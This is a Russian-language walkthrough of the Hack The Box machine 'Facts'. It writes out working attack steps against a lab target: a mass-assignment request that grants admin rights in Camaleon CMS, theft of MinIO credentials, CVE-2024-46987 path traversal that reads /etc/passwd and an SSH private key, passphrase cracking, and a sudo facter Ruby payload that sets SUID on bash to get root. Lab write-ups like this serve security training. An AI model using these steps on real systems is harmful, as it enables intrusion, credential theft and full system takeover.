
HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins.
Сложность: Средняя
ОС: Linux
Теги: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Повышение привилегий
Начнём с полного сканирования TCP-портов для выявления открытых служб.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Результаты:
| Порт | Служба | Примечания |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Неизвестно | Определено как MinIO |
Добавляем цель в /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Переход на http://facts.htb показывает сайт викторины, построенный на Camaleon CMS (Ruby on Rails). Ключевые признаки:
_factsapp_session (сессия Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Перечислим sitemap для всех доступных страниц:
curl -s http://facts.htb/sitemap.xml
Обнаружены примечательные пути:
/admin → перенаправляет на /admin/login/rss/animal-ejected, /anne-frank и т.д.Проверим панель входа администратора:
curl -v http://facts.htb/admin
# → 302 редирект на /admin/login
При проверке неизвестного порта с помощью curl обнаруживается MinIO, S3-совместимая служба объектного хранения:
curl -v http://facts.htb:54321
Ответ:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Заголовки подтверждают: Server: MinIO
Перечислим возможные имена бакетов (все возвращают 403, подтверждая их существование):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Все возвращают 403 Forbidden — бакеты существуют, но требуют учётные данные.
По путям ресурсов и cookie сессии определяем, что CMS — Camaleon CMS.
Проверим известные уязвимости:
searchsploit camaleon
Результаты:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
Версия админ-панели подтверждена как 2.9.0 (видна в футере после входа).
Страница входа администратора http://facts.htb/admin/login содержит ссылку "Create an account". Зарегистрируем новую учётную запись:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientПосле регистрации войдём в админ-панель. Учётная запись имеет ограниченные привилегии Client.
Camaleon CMS уязвима к атаке массового присваивания на конечной точке смены пароля. Перехватив запрос на смену пароля и добавив параметр password[role], можно повысить свою роль до admin.
Шаги с использованием Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin в тело запроса:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.Теперь учётная запись имеет привилегии admin, предоставляющие полный доступ к админ-панели CMS, включая Settings, Media и Filesystem Settings.
С правами администратора переходим по пути:
Settings → General Site → Filesystem Settings
На странице находятся жёстко прописанные учётные данные MinIO (совместимого с AWS S3):
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Настроим AWS CLI и перечислим бакеты:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Обнаруженные бакеты:
2025-09-11 internal
2025-09-11 randomfacts
Бакет internal содержит домашний каталог пользователя trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Скачиваем закрытый ключ SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
В качестве альтернативы закрытый ключ SSH можно получить через CVE-2024-46987, аутентифицированную уязвимость обхода пути в Camaleon CMS, позволяющую читать произвольные файлы на сервере.
Клонируем публичный PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Читаем чувствительные файлы:
# Шаг 1: Чтение /etc/passwd для перечисления системных пользователей
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Вывод (релевантные строки):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Обнаружены два пользователя: trivia и william. Поскольку у trivia есть оболочка входа и домашний каталог, проверим наличие закрытого ключа SSH:
# Шаг 2: Чтение закрытого ключа SSH пользователя trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Сохраним полученный ключ в файл:
chmod 600 id_ed25519
Закрытый ключ SSH зашифрован парольной фразой. Используем ssh2john и john для её взлома:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Взломанная парольная фраза: dragonballz
ssh -i id_ed25519 [email protected]
# Ввести парольную фразу: dragonballz
Получаем пользовательский флаг:
cat /home/william/user.txt
Проверим привилегии sudo для пользователя trivia:
sudo -l
Вывод:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Пользователь может запускать /usr/bin/facter от root без пароля. facter — это инструмент для получения информации о системе на Ruby.
Согласно GTFOBins, facter может загружать пользовательские Ruby-файлы фактов через --custom-dir, которые выполняются от имени вызвавшего пользователя (в данном случае root).
Эксплойт:
# Создаём каталог эксплойта и Ruby-пэйлоад
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Запускаем facter от root с пользовательским каталогом
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Проверяем установку SUID-бита на bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Запускаем root-оболочку
/bin/bash -p
whoami
# root
cat /root/root.txt
| Флаг | Расположение |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap-сканирование
↓
Порт 80: Camaleon CMS 2.9.0
↓
Регистрация учётной записи Client → Админ-панель
↓
Массовое присваивание: password[role]=admin → роль администратора
↓
Настройки администратора → раскрытие учётных данных MinIO
↓
CVE-2024-46987: обход пути → чтение /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → парольная фраза: dragonballz
↓
Вход по SSH как trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Описание |
|---|---|
| CVE-2024-46987 | Аутентифицированный обход пути / произвольное чтение файла в Camaleon CMS |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI через параметр formats (не использовалась в этой машине) |